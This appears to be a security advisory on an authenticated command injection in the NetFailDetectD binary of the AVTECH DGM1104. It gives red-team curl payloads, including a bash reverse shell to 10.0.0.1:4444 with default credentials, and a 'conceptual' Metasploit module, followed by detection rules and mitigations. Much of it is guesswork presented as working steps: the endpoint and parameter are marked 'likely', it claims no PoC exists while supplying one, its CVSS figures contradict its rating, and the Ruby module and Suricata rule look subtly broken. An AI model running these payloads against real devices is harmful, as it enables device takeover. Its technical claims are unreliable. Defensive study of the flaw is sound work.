CVE-2025-57199

Executive Summary

CVE-2025-57199 is an authenticated command injection vulnerability discovered in the AVTECH SECURITY Corporation DGM1104 device, specifically within the NetFailDetectD binary. The flaw allows an authenticated attacker to inject arbitrary operating system commands through crafted input, leading to full remote code execution on the device. The vulnerability affects firmware version FullImg-1015-1004-1006-1003. No public proof-of-concept (PoC) or patch is currently available, and the vendor has not released a security update. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the potential for complete device compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): Low (authenticated)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High
• Threat Level: High – authenticated command injection can lead to full device takeover, lateral movement, and data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the NetFailDetectD binary, which is responsible for network failure detection on the DGM1104 device. The binary accepts user-supplied input (likely via a web interface or API) without proper sanitization or validation. This input is then passed to a system shell (e.g., /bin/sh) for execution, allowing an attacker to inject arbitrary commands.

Root Cause: The application fails to escape or validate input before concatenating it into a command string. For example, a parameter like ping or traceroute might be used, and an attacker can append shell metacharacters (e.g., ;, |, &&) to execute additional commands.

Attack Flow:

1. Attacker authenticates to the DGM1104 web interface (default credentials or brute-force).
2. Attacker sends a crafted HTTP request to the vulnerable endpoint (e.g., /cgi-bin/NetFailDetectD).
3. The input is passed to NetFailDetectD, which executes a system command with the injected payload.
4. The attacker gains remote code execution as root (likely) on the device.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// NetFailDetectD binary (pseudo-code)
void handle_request(char *input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping -c 4 %s", input);
    system(cmd);
}

Patched Code (Conceptual):

// Patched version
void handle_request(char *input) {
    // Validate input: only allow IP addresses or hostnames
    if (!is_valid_ip_or_hostname(input)) {
        return_error("Invalid input");
        return;
    }
    // Use execve with sanitized arguments
    char *args[] = {"/bin/ping", "-c", "4", input, NULL};
    execve("/bin/ping", args, NULL);
}

Key Differences:

• Input validation (whitelist vs. blacklist).
• Use of execve instead of system to avoid shell injection.
• No shell metacharacters are interpreted.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to AVTECH DGM1104 with firmware FullImg-1015-1004-1006-1003.
• Valid credentials (default: admin/admin or similar).

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /cgi-bin/NetFailDetectD).
2. Send a POST request with a crafted payload:

   curl -X POST http://<target>/cgi-bin/NetFailDetectD \
     -d "target=127.0.0.1;id" \
     -u admin:admin
   

3. The response will include the output of the id command.
4. For a reverse shell:

   curl -X POST http://<target>/cgi-bin/NetFailDetectD \
     -d "target=127.0.0.1;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" \
     -u admin:admin
   

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'AVTECH DGM1104 NetFailDetectD Command Injection',
      'Description' => 'Authenticated command injection in NetFailDetectD',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2025-57199']],
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    payload = "127.0.0.1;#{payload.encoded}"
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/cgi-bin/NetFailDetectD',
      'vars_post' => { 'target' => payload },
      'authorization' => basic_auth('admin', 'admin')
    })
  end
end

Blue Team

Detection:

• Monitor HTTP POST requests to /cgi-bin/NetFailDetectD with unusual parameters (e.g., semicolons, pipes, backticks).
• Alert on command execution patterns in logs (e.g., ping followed by ;id).
• Use network segmentation to limit device exposure.

Honeypot:

• Deploy a fake DGM1104 endpoint that logs all POST data for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /cgi-bin/NetFailDetectD with shell metacharacters.
  • Outbound connections from the device to attacker-controlled IPs on common ports (4444, 8080, etc.).
• File IOCs:
  • Modified /tmp files (e.g., reverse shell scripts).
  • Unusual processes (e.g., /bin/sh -c).
• Log IOCs:
  • System logs showing ping or traceroute commands with injected arguments.

Detection Engineering

YARA Rule

rule CVE_2025_57199_NetFailDetectD {
    meta:
        description = "Detects AVTECH DGM1104 NetFailDetectD command injection payloads"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-57199"
    strings:
        $payload1 = "NetFailDetectD" ascii wide nocase
        $payload2 = "target=" ascii wide nocase
        $shellchar = /[;|&`$()]/
    condition:
        $payload1 and $payload2 and #shellchar > 0
}

Sigma Rule

title: AVTECH DGM1104 NetFailDetectD Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts against AVTECH DGM1104 NetFailDetectD
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/NetFailDetectD*'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate network diagnostic tools
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"AVTECH DGM1104 NetFailDetectD Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/NetFailDetectD"; http_uri;
    pcre:"/(?:;|\||&&|`)/Pi";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and critical networks.
2. Change default credentials to strong, unique passwords.
3. Disable the NetFailDetectD service if not required.
4. Apply network ACLs to restrict access to the web interface.

Long-term Fix:

• Vendor must release a patched firmware that validates input and uses safe API calls (e.g., execve instead of system).
• Until a patch is available, consider replacing the device with a supported alternative.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious payloads:

  location /cgi-bin/NetFailDetectD {
      if ($args ~* "[;|&`$()]") {
          return 403;
      }
      proxy_pass http://backend;
  }
  

Valters IT
Securing Digital Frontiers